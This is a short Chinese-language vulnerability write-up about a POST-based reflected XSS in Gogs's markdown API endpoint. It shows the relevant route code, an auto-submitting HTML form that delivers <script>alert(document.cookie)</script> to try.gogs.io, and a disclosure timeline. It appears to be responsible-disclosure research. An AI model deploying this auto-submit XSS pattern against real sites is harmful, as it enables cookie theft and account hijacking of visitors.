通过form利用gogs的post型反射型xss
审计
在审计gogs代码时发现gogs的api允许渲染markdown.最初以为是无法利用的,但发现gogs这个api返回的content-type是html,并且没有csrf机制.
1
2
3
4
5
6
7
| m.Group("/v1", func() {
// Handle preflight OPTIONS request
m.Options("/*", func() {})
// Miscellaneous
m.Post("/markdown", bind(api.MarkdownOption{}), misc2.Markdown)
m.Post("/markdown/raw", misc2.MarkdownRaw)
|
但这个api仅仅允许post方法,不能通过常见的get方法来进行xss.
构造poc
无法直接通过url 提交一个post请求,但可以通过form元素进行提交并直接重定向.
最简单的提交例子
1
2
3
4
5
6
| <form name=Form action=url method=post>
<input type=hidden name=xxx value=xxx>
</form>
<script>
document.Form.submit();
</script>
|
这和csrf都是通过伪造请求来利用 只是csrf是通过xhr请求 这是通过form来得到需要的重定向.
最后的poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| <html>
<body onload="document.forms[0].submit()">
<form method="post"
action="http://try.gogs.io/api/v1/markdown">
<input type="hidden" name="text"
value="<script>alert(document.cookie)</script>">
</form>
</html>
|
漏洞时间线
1
2
3
| 1.25 发送提交漏洞邮件
1.25 一小时后得到第一次回应
1.27 漏洞修复
|